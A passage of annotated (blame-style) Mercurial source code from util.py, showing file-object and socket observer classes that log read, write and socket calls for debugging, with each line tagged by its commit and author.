36614 26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	837 # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	838 if res is None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	839 res = b''
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	840
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	841 if size == -1 and res == b'':
38323 565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	842 # Suppress pointless read(-1) calls that return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	843 # nothing. These happen _a lot_ on Python 3, and there
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	844 # doesn't seem to be a better workaround to have matching
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	845 # Python 2 and 3 behavior. :(
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	846 return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	847
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	848 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	849 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	850
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	851 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	852
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	853 def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	854 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	855 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	856
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	857 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	858 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	859
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	860 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	861
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	862 def readinto(self, res, dest):
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	863 if not self.reads:
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	864 return
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	865
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	866 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	867 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	868 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	869 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	870
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	871 data = dest[0:res] if res is not None else b''
41406 b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	872
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	873 # _writedata() uses "in" operator and is confused by memoryview because
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	874 # characters are ints on Python 3.
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	875 if isinstance(data, memoryview):
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	876 data = data.tobytes()
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	877
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	878 self._writedata(data)
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	879
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	880 def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	881 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	882 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	883
36660 8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	885 # returns the integer bytes written.
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	886 if res is None and data:
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	887 res = len(data)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	888
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	889 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	890 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	891
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	892 self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	893
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	894 def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	895 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	896 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	897
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	898 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	899
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	900 # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	901 def bufferedread(self, res, size):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	902 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	903 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	904
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	905 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	906 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	907 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	908 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	909
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	910 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	911
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	912 def bufferedreadline(self, res):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	913 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	914 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	915
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	916 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	917 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	918 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	919 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	920
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	921 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	922
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	923
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	924 def makeloggingfileobject(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	925 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	926 ):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	927 """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	928
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	929 observer = fileobjectobserver(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	930 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	931 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	932 reads=reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	933 writes=writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	934 logdata=logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	935 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	936 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	937 return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	938
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	939
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	940 class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	941 """Logs socket activity."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	942
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	943 def __init__(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	944 self,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	945 fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	946 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	947 reads=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	948 writes=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	949 states=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	950 logdata=False,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	951 logdataapis=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	952 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	953 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	954 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	955 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	956 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	957 self.states = states
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	958 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	959 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	960
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	961 def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	962 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	963 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	964
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	965 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	966
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	967 def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	968 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	969 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	970
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	971 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	972 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	973 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	974 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	975 self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	976
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	977 def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	978 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	979 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	980
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	981 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	982 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	983 b'%s> recvfrom(%d, %d) -> %d'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	984 % (self.name, size, flags, len(res[0]))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	985 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	986
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	987 self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	988
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	989 def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	990 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	991 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	992
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	993 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	994 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	995 b'%s> recvfrom_into(%d, %d) -> %d'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	996 % (self.name, size, flags, res[0])
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	997 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	998
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	999 self._writedata(buf[0 : res[0]])
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1000
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1001 def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1002 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1003 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1004
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1005 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1006 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1007 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1008 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1009
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1010 self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1011
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1012 def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1013 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1014 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1015
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1016 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1017 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1018 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1019 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1020
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1021 def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1022 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1023 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1024
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1025 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1026 # Returns None on success. So don't bother reporting return value.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1027 self.fh.write(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1028 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1029 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1030
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1031 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1032
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1033 def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1034 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1035 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1036
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1037 if address:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1038 flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1039 else:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1040 flags = 0
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1041
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1042 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1043 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1044 b'%s> sendto(%d, %d, %r) -> %d'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1045 % (self.name, len(data), flags, address, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1046 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1047
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1048 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1049
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1050 def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1051 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1052 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1053
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1054 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
